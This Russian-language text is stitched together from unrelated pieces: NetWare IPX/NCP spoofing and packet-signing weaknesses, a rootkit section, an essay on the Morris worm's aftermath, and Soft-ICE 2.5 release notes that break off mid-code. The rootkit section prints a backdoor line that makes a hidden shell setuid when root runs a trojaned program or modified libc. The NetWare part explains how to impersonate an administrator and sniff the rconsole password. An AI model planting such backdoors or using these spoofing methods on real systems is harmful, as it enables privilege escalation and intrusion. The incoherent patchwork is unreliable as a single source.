ПОДДЕЛКА АДРЕСОВ
В локальных сетях типа Ethernet пакеты IPX обычно передаются с использованием кадров Ethernet_802.2 или Ethernet_802.3, в заголовках которых основной информацией являются MAC-адреса станций получателя и отправителя. Адрес отправителя после посылки никем не проверяется, так как это непростая задача. Даже в том случае, если адрес отправителя кем-либо анализируется (например, коммутатором), подставить чужой MAC-адрес не составит труда. Почти все сетевые платы позволяют сделать это как с помощью программных средств Novell (в net.cfg), так и на низком уровне. А ODI-драйвер ODIPKT позволяет самостоятельно сформировать весь пакет и послать его как есть.
Таким образом, пакет, совершенно идентичный пакету администратора можно передать как на уровне Ethernet, так и на уровне IPX. Это означает, что протокол IPX сам по себе совершенно не защищен от посягательств на целостность сети. Следовательно, нарушить работоспособность системы может практически любой пользователь сети (не говоря о профессионалах).
К примеру, если был послан пакет с полем получателя FF,FF,FF,FF,FF,FF (всем станциям в текущем сегменте сети) в кадре Ethernet, то независимо от адреса отправителя его обязательно получит адресат, который указывается в поле "Адрес станции назначения" заголовка IPX-пакета. Более того, если некто (злоумышленник) самостоятельно заполнит IPX-пакет, то он может указать чужой адрес отправителя (администратора сети); такой пакет обязательно дойдет до адресата (сервера) и будет им обработан тем же образом, что и все остальные пакеты администратора. Такой процесс называется по-английски spoofing, а по-русски "подделка адресов".
На уровень выше IPX находится протокол NCP (NetWare Core Protocol), он использует IPX в качестве транспортного протокола, но предусматривает, в отличие от IPX, некоторую степень защиты. NCP используется практически при всех сетевых операциях в сети NetWare; с его помощью передаются файлы и реплики между серверами, осуществляется администрирование системы и т.
д. На Рисунке 2 изображена структура заголовка пакета NCP.
Рисунок 2.
Структура заголовка пакета запроса NCP.
Пакеты на уровне NCP неосведомленному человеку подделать несколько сложнее, поскольку необходимо знать номер соединения администратора с сервером. Однако проблема эта вполне решаема благодаря таким программам, как userlist (в NetWare 3.x) и nlist (в NetWare 4.x) или системным функциям оболочки рабочей станции. Остальная информация может быть получена из других источников, к примеру из программы LANalyzer for Windows (фирмы Novell), которая позволяет перехватывать все проходящие мимо рабочей станции пакеты и затем расшифровывает каждое их поле (см. Рисунок 3). Так же можно использовать программу NetXRay (компании Cinco Networks), но, поскольку она написана не Novell, полной гарантии расшифровки пакетов нет. Правда, для использования этих двух программ необходимо иметь сетевую плату, поддерживающую режим приема всех пакетов (promiscuous mode). Большинство новых сетевых плат могут работать в этом режиме, например все сетевые платы компании 3Com.
Рисунок 3.
Novell LANalyzer for Windows.
Таким образом, взломщик сети может узнать всю необходимую информацию о пакете, кроме поля "порядковый номер пакета", но и тут особых проблем не будет. Это поле было введено для обеспечения гарантированной доставки пакетов. При посылке каждого пакета оно увеличивается на единицу, и, если пакет не дошел, он посылается снова. Если вклиниться в обмен пакетами между сервером и клиентом и тем самым увеличить на сервере счетчик клиентских пакетов, то клиент просто "повиснет", т. к. он не будет знать нового значения этого счетчика и снова попытается послать пакет с неправильным номером. Сервер же, получая запрос, проверяет адрес станции, адрес сети, сокет, номер соединения и порядковый номер пакета. Если какое-либо из этих значений не соответствует ожидаемым, то он отказывается выполнять запрашиваемую операцию и не посылает ответ.
Поддержание системы в разумном порядке.
Системы со всеми инсталлированными патчами, отключенными неиспользуемыми сервисами существенно меньше подвержены разрушению, с разумно ограниченным доверием ;-)
Подмена программ.
Замена программ исправленными версиями используется для маскировки своей работы в системе, например, запуска ломалки паролей. Программы изменяются так что бы не показывать активность определенного пользователя, запускаемых им процессов, использование дискового пространства. Наиболее известным из пакетов программ для замены системных утилит является RootKit. {RootKit SunOS, RootKit Linux}
Подмена программ, модификация библиотек.
Программы, имеющие sticky-bit или часто выполняемые администратором системы могут быть модифицированны для внесения изменений в систему при выполнении администратором. E.g:
.... if( !geteuid()) chmod("/var/tmp/.hidden_shell", 0x4555); ....
Аналогичный кусочек может быть вставлен в одну библиотек, например libc. Библиотека libc.a разбирается на обьектные файлы. Необходимая функция модифицируется и компилируется новая динамическая библиотека.
ПОДПИСЬ ПАКЕТОВ
Начиная с версии 3.11 Novell улучшила систему безопасности NetWare за счет введения подписей пакетов (сигнатур). Для каждого пакета создается уникальная сигнатура, которую очень сложно подделать при посылке чужого NCP-пакета. Подпись представляет собой 8 байт, дописываемые в конец пакета. При приеме пакета сервер анализирует сигнатуру на предмет того, что пакет пришел именно от нужного сервера или станции и не был подставлен третьей стороной. С версии 3.12 и выше подпись стала частью системы.
Подпись пакетов имеет четыре уровня защиты (от 0 до 3). К примеру, при минимальном (нулевом) уровне защиты сервер не подпишет пакеты, даже если этого требует рабочая станция. Первый уровень предполагает, что сервер будет использовать подпись только по требованию рабочей станции. При втором уровне сервер "попросит" станцию включить подпись, и если та этого сделать не сможет, то обмен пакетами будет осуществляться без подписи; в том случае, если на сервере поставлен максимальный уровень (третий), то работать без подписи пакетов он не будет.
Теоретически сигнатура обеспечивает относительно безопасную работу в сети. Правда, злоумышленник по-прежнему имеет возможность просто следить за проходящей мимо информацией и даже сделать копию большей ее части.
При всей кажущейся выгоде использования подписи пакетов существуют некоторые проблемы.
В документации Novell по подписи пакетов присутствует фраза, которая по-русски звучит следующим образом: "Если у вас слишком медленно работает сеть или вы вообще не можете подсоединиться к серверу, убедитесь в том, что на рабочей станции отключена подпись пакетов и на сервере поставлена 1-я сигнатура".
На практике, при использовании подписей пакетов, скорость работы в сети может снизиться на 10-200% (это зависит от конфигурации рабочих станций, сервера и сети), поэтому большинство администраторов сетей предпочитают вообще не ставить подпись или ставить ее только на своем компьютере (правда, потом обидно становится - все работают быстро, а сам медленно...).
Если у вас на сервере стоит поддержка протокола NetBIOS, то следует знать, что он не защищен подписью пакетов, т. к. инкапсулируется в IPX и пока не поддерживает NCP.
Существует еще ряд пакетов, не подписываемых сигнатурой. Например, при удаленной загрузке рабочих станций подпись пакетов не применяется, и, следовательно, можно сделать так, что станция загрузится не с сервера, а с другого компьютера. Если данный компьютер стоит в том же сегменте сети, что и рабочая станция, то сделать это не составит большого труда, а если в другом, то несколько сложнее, но все же возможно. После такой загрузки пользователь подсоединится к настоящему серверу и не заметит, что пароль, который он набирал, уже записан к кому-то на диск или в записную книжку...
Еще один тип пакетов, не имеющих подписи, - SPX. Это протокол передачи данных с гарантированной доставкой пакетов. Пакеты SPX передаются по протоколу IPX. Данный протокол используется некоторыми приложениями, например программой rconsole, позволяющей получить удаленный доступ к консоли сервера. По поводу этой программы в сети Internet уже было много дискуссий. Дело в том, что пароль доступа к консоли передается открыто и никак не шифруется. Следовательно, перехватив поток данных между компьютером администратора сети и сервером, можно получить и этот пароль, которого, вполне вероятно, будет достаточно для последующего получения прав на всю систему в целом.
Последствия и уроки
Реакция на Червя была впечатляющей. По словам Юджина Спаффорда, для всего компьютерного сообщества того времени это был огромный шок. Нет, в принципе, все понимали, что такое возможно и даже неизбежно. Было уже немало инцидентов, связанных со взломом. Но никто и представить не мог, что одна атака выведет из строя каждый десятый компьютер в Сети...
Пресса тоже отреагировала. Насколько мне известно, это единственная в истории компьютерная программа, потеснившая на первых полосах материалы о президентских выборах в США. Впрочем, преподносить, с точки зрания массовой прессы, было нечего. О Черве поговорили и забыли.
Итак, Червь был пойман, заплаты выпущены и поставлены, сам Червь дизассемблирован и проанализирован.
Закончилась реакция техников, началась реакция правящих кругов. Первым отозвалось Министерство Обороны. (Известно, что Арпанет был создан именно там).
Вердикт был краток и очевиден: "Засекретить!". Впрочем, секретить было поздно, совсем поздно. Единственная попытка что-либо сделать заключалась в том, что информация о возможных уязвимых местах операционных систем получила тот же уровень секретности, что и вычислительные центры, в которых они установлены. Единственным результатом такой меры явилось... полное выключение американских программистов из дискуссий об этих проблемах. Так что, подобная политика на практике проводилась в жизнь “время от времени”. Впоследствии, как говорят, она была заменена на что-то более осмысленное.
Многие институты на несколько недель и даже месяцев отключились от Интернета. Администраторы, не представляя о реальных масштабах опасности, сочли за благо перестраховаться. Когда несколько недель спустя была предпринята попытка взлома одного из компьютеров Милнета, гейт между Милнетом и Интернетом был закрыт. Мотивировалось это не возможным нарушением безопасности, а экспериментами, тренировками... Короче, “плановой аварией канализации”.
Однако, Интернет уже встал на коммерческую основу и рос неудержимо. Всем, кто был сколько-нибудь компетентен в вопросах безопасности, было понятно, что засекречивание лишь ухудшит положение.
Издания типа "Phrack" или "2600". отреагировали на случившееся с похвальной скоростью: от информации об изготовлении самодельных бомб и междугородних звонков за счет ближнего своего они тотчас переключились на проблемы взлома Интернета. Знания о том, как взломать удаленный компьютер распространялись не столь быстро, как Червь, но так же неудержимо.
Наиболее разумной мерой противодействия взлому явилось образование CERT (Computer Emergency Responce Team - группа немедленного реагирования по компьютерам) Это был консультативный орган, не обладавший никакими официальными полномочиями. Однако, по сей день он действует и является признанным авторитетом в деле поддержании безопасности компьютеров. В настоящее время CERT принимает сведения о возможных дырах и взломах в системе и публикует рекомендации по их профилактике, учитывая особенности конкретной операционной системы. Вскоре таких организаций образовалось несколько.
Кроме того, были созданы списки рассылки и news-группы, посвященные различным аспектам безопасности. Любой уважающий себя хакер и системный администратор регулярно читают эти конференции и списки рассылки, потому что отставать от жизни нельзя. Несколько месяцев назад после обнаружения достаточно серьезной дыры в популярном pop3-сервере (pop3, Post Office Protocol, позволяет кдаленным пользователям забирать свою почту с сервера) на множество Интернет-узлов обрушился настоящий шквал попыток взлома. В отдельные дни я наблюдал 5 - 6 таких попыток только на своем, достаточно малоизвестном, сервере.
В чем же состоят уроки моррисовского Червя, актуальные по сей день? К чему пришло компьютерное сообщество за десять лет? Что изменилось, а что осталось неизменным?
В любом программном обеспечении могут быть ошибки, грозящие возможностью удаленного взлома. Сегодня, десять лет спустя, мы наблюдаем настоящий взрыв активности троянских коней, типа Back Orifice, NetBus и десятков (сотен? тысяч?) им подобных, с успехом компенсирующие невозможность удаленной работы под Win'95.
Интернет будет расти. Со временем, все больше и больше людей и компаний будут зависеть от Интернета. Средняя же квалификация пользователей будет, увы, падать.
Простенькая программа, внедрающаяся в популярный irc-клиент mIRC, по оценкам, приведенным в bugtraq (http://www.geek-girl.com/bugtraq/1998_4/0016.html), захватила примерно пятнадцать тысяч компьютеров, дав ее автору возможность полного управления "трофеем". Таким образом, один хакер получил доступ к большему числу машин большей производительности, чем мог когда-то получить Моррис.
Пользователь не хочет знать ничего о компьютере. Что ж, он имеет на это право. Но кто-то должен следить за безопасностью подключения, правда? Все только выиграют, если в скором времени Интернет-провайдеры станут предлагать не только подключение к Интернету, но и услуги системного администратора.
Сам же системный администратор системный администратор обязан быть бдителен, должен постоянно следить за безопасностью компьютеров в своей зоне ответственности. Впрочем, увы, сплошь и рядом это не так. По некоторым данным, около 20% компьютеров уязвимы к простым и хорошо известным способам атаки, причем эта цифра как минимум не уменьшается - это прямая вина админа. Выживает только параноик. Be quick - or be dead.
Она описывает различия между Руководством
Введение
Эта записка к выпуску - приложение к Руководству Пользователя Soft-ICE 2.0.
Она описывает различия между Руководством Пользователя Soft-ICE 2.0 и выпуском
Soft-ICE 2.5. Когда эта записка сносится на расширения или изменения,
произведенные в возможностях, описанных в Руководстве Пользователя Soft-ICE
2.0, заголовки записки включают, в скобках, номер главы с соответствующей
информацией в Руководстве Пользователя Soft-ICE 2.0. Пожалуйста, прочтите и
Руководство Пользователя Soft-ICE 2.0 и эту записку к выпуску.
Описание Продукта (1.1)
К выпуску Soft-ICE 2.5 было добавлено много возможностей.
Принципиальные особенности - то, что Soft-ICE:
* интегрируется с BOUNDS-CHECKER.
* читает информацию о символах и исходных
текстах прямо из .EXE-заголовка языков
Microsoft и Borland.
* имеет поддержку оверлеев для Microsoft Link и
Pocket Soft .RTLink/Plus.
* может иметь две одновременно загруженные
символьные таблицы.
* обеспечивает дизассемблирование 32-битных команд
386 и просмотр 32-битных регистров.
* является совместимым с Microsoft C версии 6.
* обеспечивает дизассемблирование команд математического сопроцессора.
* позволяет загружать драйверы устройств и T&SR-программы в верхнюю
память
* включает несколько дополнительных команд:
BOUNDS, TABS, STACK, SERIAL.
* включает расширения к некоторым существующим
командам: R, FILE, SHOW, BPX, G.
* имеет поддержку VCPI.
* обеспечивает удаленную отладку
* имеет поддержку 80486.
* позволяет настраивать цвета окна Soft-ICE.
Дискеты (2.1)
В каталоге дискеты Soft-ICE 2.5 теперь будут находиться следующие
дополнительные файлы:
\NEW\LH.EXE
\NEW\LD.SYS
\NEW\ADDHI.EXE
\NEW\CE.EXE
\IOSIM.ASM
LH.EXE - утилита, загружающая T&SR'ы в верхнюю память. LD.SYS - утилита,
загружающая в верхнюю память драйверы DOS. ADDHI.EXE - утилита, добавляющая
верхнюю память к цепочке памяти DOS. CE.EXE - редактор CONFIG.SYS. IOSIM.ASM -
пример пользовательской точки останова. Он будет перехватывать точку останова
BPIO и записывать все значения, записанные или считанные из этого порта.
Загрузка Soft-ICE (2.2)
Следуйте инструкциям по установке из Руководства Пользователя
Soft-ICE 2.0, чтобы скопировать все файлы из корневой директории
дистрибутивной дискеты в ваш каталог Soft-ICE на жестком диске.
Кроме этого, скопируйте файлы из каталога /NEW дистрибутивной
дискеты в ваш каталог Soft-ICE на жестком диске; это - новые файлы
выпуска Soft-ICE 2.5.
Примечание :
Если вы до этого использовали
Soft-ICE 2.0 c опцией /EMM в
командной строке S-ICE в CONFIG.SYS,
вы должны запустить EMMSETUP. Так как
EMMSETUP записывает конфигурационную
информацию прямо в файл S-ICE.EXE, эта
информация перезаписалась, когда вы
загрузили Soft-ICE 2.5.
Использование Soft-ICE с BOUNDS-CHECKER (Новая возможность)
Введение
BOUNDS-CHECKER дает вам под MS-DOS защиту на уровне операционной системы защи-
щенного режима. Во время выполнения вашей программы BOUNDS-CHECKER защищает
код вашей программы и всю память вне программы. Когда происходит системный
вызов MS-DOS или BIOS или происходит прерывание, BOUNDS-CHECKER предотвращает
разрушение вашей программы системным программным обеспечением. Так что BOUNDS-
CHECKER может обнаруживать не только проблемы, вызванные вашей программой, он
также может определять, затирает ли T&SR или другая программа вашу.
Каждый раз после изменений в вашей программе, запустите BOUNDS-CHECKER
во время проверки нового кода. Ваша программа выполняется на полной скорости,
и, если вы случайно обратитесь к памяти вне границ программы, BOUNDS-CHECKER
"всплывет", выводя вызвавшую это исходную строку.
Использование Soft-ICE в комбинации с BOUNDS-CHECKER очень полезно,
когда ошибка, обнаруженная BOUNDS-CHECKER, не имеет явной причины. Вам
может понадобиться использовать Soft-ICE, чтобы просмотреть данные,
немного поотлаживать или повторно запустить программу с возможностями
обратной трассировки Soft-ICE, чтобы определить причину доступа за границы.
Загрузка BOUNDS-CHECKER для использования с Soft-ICE 2.5
Чтобы использовать BOUNDS-CHECKER с Soft-ICE 2.5, вы должны сначала:
1. Установите BOUNDS-CHECKER на ваш жесткий
диск, используя программу установки
BOUNDS-CHECKER (BCSETUP.EXE).
2. Замените строку DEVICE=d:\путь\BC.SYS в
вашем файле CONFIG.SYS на DEVICE=d:\путь\S-ICE.EXE.
Используйте те же параметры, что были в
командной строке BC.SYS. Кроме этого, вы
можете захотеть использовать параметр
/TRA nnnn, чтобы создать буфер обратной
трассировки больше чем 10КБ. Вы также можете
увеличить размер вашего параметра /SYM nnnn
чтобы обеспечить загрузку вашего исходного
текста и символов.
Примечания :
Вам не нужен переключатель /BC
в строке DEVICE=d:\путь\S-ICE.EXE
в CONFIG.SYS как указано в руководстве
по BOUNDS-CHECKER.
Вам необходимо иметь Soft-ICE версии 2.5
или большей и BOUNDS-CHECKER
версии 1.1 или большей для возможности
их сосуществования.
Запуск Soft-ICE 2.5 с BOUNDS-CHECKER
Запустите BOUNDS-CHECKER. Когда BOUNDSCHECKER активен, если вы хотите войти
в Soft-ICE, чтобы продолжить отладку, выберите в главном меню пункт Options,
затем выберите Soft-ICE. Чтобы повторно войти в BOUNDS-CHECKER, просто выйдите
из Soft-ICE при помощи "горячих клавиш" или команды X.
Если у вас недостаточно расширенной памяти, чтобы запустить BOUNDS-CHECKER,
вы можете сэкономить память, запустив BOUNDS-CHECKER с опцией /S в форме:
BC /S имя-программы
Это отменяет загрузку исходного текста в расширенную память для использования
в Soft-ICE. Недостаток - то, что Soft-ICE будет показывать номера строк, но не
будет показывать исходный текст.
Примечание :
Точки останова на диапазон и диапазоны обратной
трассировки Soft-ICE будут отключены во время
выполнения BOUNDS-CHECKER.
Команда Soft-ICE BOUNDS
Новая команда, BOUNDS, используется для включения и отключения из Soft-ICE
проверки границ. Это полезно если вы хотите остановиться чтобы
произвести отладку из сессии BOUNDS-CHECKER,
а затем вернуться к проверке границ, после того как вы отладили часть
программы.
Синтаксис команды BOUNDS:
BOUNDS [ON | OFF]
BOUNDS OFF выключает проверку границ, а BOUNDS ON обратно включает
проверку границ. Если параметры не указаны, то отображается текущее
состояние.
Поддержка Оверлеев (Новая возможность команд BPX и G)
Точка останова Soft-ICE BPX будет распространяться на оверлеи,
созданные Microsoft Linker или .RTLink/Plus.
Команды BPX и G позволяют вам использовать точки останова в оверлеях. Другие
типы точек останова не поддерживают оверлеи. Чтобы использовать BPX для
установки точки останова в оверлее, вы должны ввести:
BPX имя_подпрограммы
Другие формы BPX типа использования номеров исходных строк или установки BPX,
используя механизм point-and-shoot, не поддерживают точки останова в оверлеях.
32-разрядное Дизассемблирование и вывод Регистров (5.1 - команда R)
Soft-ICE теперь правильно выводит 32-разрядные команды 80386. Всегда
активизировано дизассемблирование. Чтобы разрешить вывод 32-разрядных
регистров в окне данных введите:
R 32
Эта команда выполняет переключение между 16 и 32-разрядными регистрами.
Команда STACK (Новая команда)
Soft-ICE 2.5 теперь позволяет вам выводить стек вызовов. Стек вызовов - это
список подпрограмм, которые вызывались, чтобы достигнуть текущего адреса.
Использование стека вызовов особенно полезно, когда Soft-ICE всплывает в
библиотечной подпрограмме. Используя стек вызовов, вы можете быстро найти
последнюю подпрограмму в вашей программе, у которой было управление до входа
в библиотеку, даже если программа находится на несколько уровней в глубине
библиотечных вызовов. Последний вызванный вход в стеке выводится первым в
окне команд.
Формат стека вызова:
процедура(смещение) [номер-строки]
Если вместо номера строки выводится "?", то для этой процедуры не была
доступна информация о номерах строк.
Команду STACK можно использовать, только если загружена символьная информация.
Если модуль, вход в который указан в стеке вызовов, не компилировался с
отладочной информацией, символьные метки выводиться не будут. Будет выводиться
только шестнадцатеричное смещение.
Команда SHOW (5.6)
Команда SHOW была улучшена, чтобы позволить вам сбрасывать на принтер большое
количество команд из буфера обратной трассировки.
Новый синтаксис для SHOW:
SHOW [B | начало] [L длина]
B - начать с начала буфера
начало - число команд от конца буфера
длина - число команд для вывода
Если SHOW используется с параметром длины, вы можете использовать CTRL P для
дампа дизассемблированного текста на принтер. Если вы не указали B или начало,
начинается вывод с текущей позиции.
Команда FILE (5.10)
Команда FILE была улучшена. Новый синтаксис для FILE:
FILE [название-файла |*]
FILE * выводит все исходные файлы, которые были загружены LDR.EXE в
расширенную память.
Чтобы переключиться на новый файл командой FILE, вам больше не нужно вводить
полный путь или расширение файла. Например, чтобы переключиться на рабочий
файл C:\SOURCE\FOO.C, вызовите Soft-ICE и введите FILE FOO.
Подготовка к Отладке с Символами или по Исходному Тексту(7.2)
Усовершенствования в обработке Символов/Исходных Текстов Microsoft и Turbo
В Soft-ICE 2.5 сделаны усовершенствования в обработке символов и исходных
текстов для пользователей языков Microsoft или Turbo.
Soft-ICE теперь может получать информацию о символах и исходных текстах
прямо из .EXE-файла, если в .EXE-файле есть отладочная информация,
совместимая с Microsoft CodeView или Turbo Debug. Если присутствуют отладочные
записи, то MSYM.EXE, .MAP-файл и .SYM-файл больше не нужны. Для Microsoft
скомпилируйте с /Zi и скомпонуйте с /CO. Для Turbo, скомпилируйте с /v и
скомпонуйте с /v.
Переключатель /CO заставляет компоновщик добавлять символьную информацию к
концу вашего .EXE-файла. Хотя это вызовет увеличение размеров вашего .EXE-
файла, это не повлияет на количество стандартной памяти, требуемой вашей
программе.
Примечание :
MSYM.EXE полезен, когда вы
используете транслятор, который
производит .MAP-файл, совместимый
с Microsoft Link, но не помещает
Microsoft-совместимую отладочную
информацию в .EXE-файл.
Загрузка Программ и Символьных Файлов (7.4 и новая команда TABLE)
Несколько Символьных Таблиц
Soft-ICE 2.5 теперь может обрабатывать две символьные таблицы. Это
полезно при отладке T&SR или загружаемого драйвера устройства DOS с
приложением или отладке оболочки с порожденным процессом.
Для загрузки отдельной символьной таблицы или отдельной программы с символами
используйте команду Soft-ICE TABLE. TABLE 1 использует символьную таблицу
номер один, TABLE 2 использует символьную таблицу номер 2.
Чтобы использовать две символьные таблицы, сделайте следующее:
1. Используйте LDR, чтобы загрузить вашу первую
программу и символьную информацию.
2. Вызовите Soft-ICE.
3. Введите "TABLE 2".
4. Выйдите из Soft-ICE.
5. Используйте LDR.EXE, чтобы загрузить вторую
символьную таблицу.
Теперь оба набора символьной информации загружены в расширенную память и
вы сейчас видите второй набор символьной информации. Используйте команды
TABLE 1 и TABLE 2, чтобы переключаться между наборами символьной информации,
которые вы сейчас видите.
Чтобы просмотреть символьную информацию вашей первой программы, вызовите
Soft-ICE, если это еще не сделано, и введите:
"TABLE 1"
Чтобы просмотреть символьную информацию вашей второй программы, вызовите
Soft-ICE, если это еще не сделано, и введите:
"TABLE 2"
Если вы вызываете TABLE без параметра, она сообщит вам, какой
набор символьной информации просматривается в настоящее время.
Примечание :
Когда вы перезагружаете таблицу 1, введя
TABLE 1, затем загрузив ее при помощи LDR,
таблица 2 приходит в негодность.
Управление Табуляцией (Новая команда TABS)
Soft-ICE 2.5 позволяет вам управлять размером знака табуляции в исходных
файлах. Предыдущие версии Soft-ICE принимали размер табуляции - 8. Синтаксис
команды TABS:
TABS [2 | 4 | 8]
Если параметры не указаны, выводятся текущие установки для табуляции.
Интересное использование команды TABS - возможность видеть больше 78 символов
исходного текста в одной строке. Для этого введите TABS 2.
Удаленная Отладка ( Новая возможность и новая команда SERIAL )
Soft-ICE способен выводить всю информации из окна команд в последовательный
порт. Комбинация "горячих клавиш" все еще доступна через клавиатуру системы,
но после первого вызова Soft-ICE, будут активны и системная и удаленная
клавиатуры. Чтобы активизировать удаленную отладку, используйте следующую
последовательность:
1) Установите скорость в бодах командой DOS
MODE на то же значение скорости, как и на
удаленном терминале.
2) Из Soft-ICE установите PRN на правильный последовательный
порт.
Например: PRN COM1
3) Из Soft-ICE введите "SERIAL ON". С этого момента,
вы можете вводить информацию с любой
клавиатуры, и вывод в окне команд будет
производиться на оба экрана.
4) Вероятно вы захотите избавиться от вашего окна кода,
данных и регистров, так как они не будут доступны
через удаленный терминал.
5) Если вы не хотите, чтобы экран Soft-ICE был
виден на главной машине, то включите
ALTSCR из Soft-ICE.
Поддержка 486 (Новая возможность)
У Soft-ICE 2.5 теперь есть поддержка 80486. У предыдущих версий ее не было
из-за аномалий с процессором 80486. Команды 486 будут также правильно
дизассемблироваться.
Специальные Опции Конфигурации (6.4.1)
Поддержка цветов Soft-ICE
Soft-ICE 2.5 теперь позволяет вам указывать цвета экрана
для окон Soft-ICE.
Чтобы устанавливать цвета для различных окон в Soft-ICE вы должны
использовать директиву COLORS в файле S-ICE.DAT. Синтаксис команды
COLORS:
COLORS = "nnH,nnH,nnH,nnH,nnH,nnH,nnH,nnH,nnH,nnH,nnH,nnH"
Где nn - шестнадцатеричное число. Есть четыре набора из трех чисел. Каждая
группировка из трех воздействует на цвета определенного окна. Порядок для
четырех окон Soft-ICE следующий:
COLORS окно-регистров, окно-данных, окно-кода, окно-команд
Каждая группировка из трех шестнадцатеричных чисел управляет нормальным
атрибутом, атрибутом подсветки и атрибутом реверса для соответственного окна.
Фактическое число - значение, которое помещается в поле атрибута в
видеопамяти. Старший полубайт - фоновый цвет, а младший полубайт - цвет
символа. Цвета:
0 - черный 1 - синий 2 - зеленый
3 - синий 4 - красный 5 - сиреневый 6 - коричневый 7 - серый
8-0F - интенсивные версии вышеупомянутых.
Пример команды COLORS:
COLORS = "47H,4EH,7EH, 07H,0FH,70H, 17H,1FH,71H, 30H,3FH,71H"
Поддержка Отображаемой Памяти (8)
В Soft-ICE 2.5 был улучшен менеджер отображаемой памяти и предоставлены
утилиты для загрузки драйверов устройств и программ T&SR в расширенную
память. (Менеджер отображаемой памяти активизируется командой /EMM, когда
S-ICE.EXE указан в вашем CONFIG.SYS)
Изменения в EMMSETUP.EXE
Выполнение EMMSETUP.EXE (программа настройки памяти)
теперь требует параметра командной строки, который определяет название файла
с менеджером отображаемой памяти. Синтаксис для запуска EMMSETUP:
EMMSETUP название-файла
Параметр название-файла должен быть S-ICE.EXE. EMMSETUP также может
использоваться с MagicCV версии 3.0, в этом случае параметр должен быть
NUMEGA.SYS. Этот параметр требуется, потому что EMMSETUP записывает
конфигурационную информацию прямо в файл драйвера.
В EMMSETUP теперь есть опция выделения блоков памяти для загрузки драйверов
устройств и программ T&SR в верхнюю память. Вы должны выбрать эту возможность
в начальном экране EMMSETUP.
В конфигураторе карты памяти EMMSETUP теперь есть больше возможностей выбора.
Вы можете выбрать F для страничного блока, и H для областей верхней памяти.
Чтобы активизировать отображаемую память, у вас должно быть 4 и только 4
непрерывных F'а выше 640КБ. Чтобы загружать драйверы устройств или T&SR'ы в
верхнюю память, вы должны поместить H'и в НЕзанятые блоки памяти выше 640КБ.
Примечание :
Если вы хотите загружать драйверы устройств
и программы T&SR, но вам не нужна
EMM (отображаемая) память, удостоверьтесь,
что в карте памяти не присутствует ни
одного E или F'а.
Загрузка Резидентных Программ в Верхнюю Память (Новая возможность)
Утилита LH.EXE позволяет загружать некоторые резидентные программы в доступные
блоки памяти между 640КБ и 1 мегабайтом. Перед использованием LH.EXE вы должны
зарезервировать память для загрузки, используя EMMSETUP.EXE. Это делается
путем помещения 'H' в каждый блок памяти выше 640КБ, который вы хотите
предоставить для загрузки в верхнюю область памяти.
Чтобы загрузить резидентную программу в верхнюю память, введите:
LH название-программы [параметры программы]
Если найдется блок верхней памяти, достаточно большой, чтобы поместить
программу, программа будет в него загружена.
Если в командной строке LH не указано название-программы, будет выведена
карта памяти загружаемых драйверов устройств DOS и резидентных
программ, загруженных в верхнюю память, вместе с доступной памятью.
Примечание :
Вы не можете загружать все резидентные
программы через LH.EXE. Вы должны поэкспериментировать,
чтобы определить, какие программы могут
быть загружены в верхнюю память.
Загрузка Загружаемых Драйверов MS-DOS в Верхнюю Память (Новая возможность)
Утилита LD.SYS позволяет загружать определенные загружаемые драйверы устройств
MS-DOS в доступные блоки памяти между 640КБ и 1 мегабайтом. До использования
LD.SYS вы должны зарезервировать память для загрузки, используя EMMSETUP.EXE.
Это делается путем помещения 'H' в каждый блок памяти выше 640КБ, который вы
хотите предоставить для загрузки в верхнюю область памяти.
Чтобы загрузить загружаемый драйвер устройства MS-DOS в верхнюю память, вы
должны поместить следующую строку в ваш файл CONFIG.SYS:
DEVICE = \путь\LD.SYS название-устройства [параметры]
путь - Маршрут, содержащий LD.SYS
название-устройства - Название загружаемого драйвера
устройства DOS, включая путь
Если найдется блок верхней памяти, достаточно большой, чтобы поместить
драйвер устройства, программа будет в него загружена при загрузке системы.
Чтобы вывести карту памяти загружаемых драйверов устройств DOS и резидентных
программ, загруженных в верхнюю память, используйте утилиту LH без параметров.
Примечание :
Вы не можете загружать все загружаемые драйверы устройств
DOS в верхнюю память. Вы должны поэкспериментировать, чтобы
определить, какие драйверы могут быть загружены в верхнюю
память. Удостоверьтесь, что у вас есть загрузочный диск,
удобный для экспериментов.
Добавление Верхней Памяти к MS-DOS (Новая возможность)
Утилита ADDHI.EXE позволяет вам добавлять высокие области памяти к свободной
памяти DOS. Перед использованием ADDHI.EXE вы должны зарезервировать память
для добавления, используя EMMSETUP.EXE. Это делается путем помещения 'H' в
каждый блок памяти выше 640КБ, который вы хотите добавить.
Поддержка VCPI (Новая возможность)
VCPI (Интерфейс Виртуального Управления Программами) автоматически включается
при добавлении переключателя /EMM в строку S-ICE.EXE в CONFIG.SYS. Поддержка
VCPI позволяет вам выполнять приложения VCPI, использующие DOS-эктендеры, под
Soft-ICE. Это не позволяет вам отлаживать эти приложения в защищенном режиме.
Поддерживающие VCPI приложения включают Lotus 123 версии 3.0 и Autocad.
Поддержка VCPI НЕ дает возможность Soft-ICE выполняться с
другими управляющими программами VCPI, типа Quarterdeck QEMM
и Qualitas 386MAX.
Редактор CONFIG.SYS (Новая возможность)
Редактор конфигурации (CE.EXE) - текстовый редактор для изменения CONFIG.SYS
"на лету". Редактор конфигурации полезен, если вам нужно сделать временные
изменения в вашем CONFIG.SYS. Это особенно полезно, если вы предполагаете, что
драйвер в CONFIG.SYS может завешивать систему. Рекомендуется использовать
редактор конфигурации при установке Soft-ICE в первый раз в вашем CONFIG.SYS.
Установите редактор конфигурации, поместив CE.EXE в первую строку DEVICE = в
вашем файле CONFIG.SYS. Например:
DEVICE = /S-ICE /CE.EXE
При загрузке системы вы услышите звуковой сигнал. После сигнала у вас будет
небольшой отрезок времени, чтобы нажать любую клавишу. Если вы нажмете
клавишу, CE перехватит управление и позволит вам редактировать CONFIG.SYS.
После редактирования вашего файла CONFIG.SYS вы можете выйти из CE, нажав
одну из следующих клавиш:
F1 Нажатие F1 вызывает выход и изменяет
CONFIG.SYS только для этой загрузки.
Изменения - не постоянны.
F10 Нажатие F10 вызывает выход и изменяет
CONFIG.SYS для этой загрузки и
всех последующих загрузок.
ESC Нажатие ESC вызывает выход без изменений.
CE также может быть запущен из командной строки DOS. Это - для быстрого
просмотра или быстрого изменения в CONFIG.SYS. Просто введите CE из командной
строки DOS. Переключатель /Q (Тихий) отключает начальный звук, выводимый CE,
когда он установлен в CONFIG.SYS.
Команды Программного Интерфейса (Новая возможность)
Soft-ICE 2.5 содержит команды для управления Soft-ICE из программы MS-DOS.
Программа может пользоваться преимуществом мощных точек останова для
специальных отладочных работ или проектов по эмулированию аппаратных средств.
Все эти вызовы имеют следующую последовательность:
MOV AH,09
